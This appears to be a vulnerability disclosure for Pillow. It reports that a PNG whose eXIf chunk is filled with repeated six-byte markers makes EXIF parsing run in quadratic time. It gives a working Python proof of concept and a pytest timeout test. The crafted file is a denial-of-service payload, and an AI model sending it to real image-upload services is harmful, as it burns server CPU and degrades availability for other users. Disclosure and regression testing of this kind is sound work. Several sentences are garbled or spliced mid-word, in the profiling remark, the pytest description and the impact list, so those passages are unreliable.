Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time

Summary

A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.

Details

Exif.load() in src/PIL/Image.py strips a marker from the start of the EXIF data like this:

  while data and data.startswith(b"Exif\x00\x00"):
      data = data[6:]

Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.

chunk_eXIf() in src/PIL/PngImagePlugin.py puts the raw PNG eXIf chunk straight into info["exif"] with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with MAX_TEXT_CHUNK and MAX_TEXT_MEMORY. The eXIf chunk has no such cap.

If the eXIf chunk is filled with repeated Exif\x00\x00 markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.

Steps to reproduce

This builds a small PNG in memory and times Image.open().getexif() on it. No external file needed.

  import time
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  marker = b"Exif\x00\x00"
  exif_chunk = chunk(b"eXIf", marker * 300_000)  # 1.8MB, all markers
  data = MAGIC + IHDR + exif_chunk + IDAT + IEND

  start = time.time()
  with Image.open(BytesIO(data)) as im:
      im.getexif()
  print("took", time.time() - start, "seconds")

Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.

Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.

A pytest version of this test, using pytest-timeout so a test run does not hang if the bug is present, is it fails with Failed: Timeout (>2.0s) from pytest-timeout.

  import pytest
  from io import BytesIO
  from PIL import Image, PngImagePlugin

  def chunk(cid, *data):
      fp = BytesIO()
      PngImagePlugin.putchunk(fp, cid, *data)
      return fp.getvalue()

  MAGIC = PngImagePlugin._MAGIC
  IHDR = chunk(b"IHDR", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b"\x08\x02", b"\0\0\0")
  IDAT = chunk(b"IDAT")
  IEND = chunk(b"IEND")

  @pytest.mark.timeout(2)
  def test_exif_load_is_not_quadratic():
      marker = b"Exif\x00\x00"
      exif_chunk = chunk(b"eXIf", marker * 300_000)
      data = MAGIC + IHDR + exif_chunk + IDAT + IEND
      with Image.open(BytesIO(data)) as im:
          im.getexif()

Impact

• Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.
• Confidentiality: none.
• Integrity: none.
• This fires through Image.getexif(), Image._getexif(), and ImageOps.exif_transpose(). exif_transpose() is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.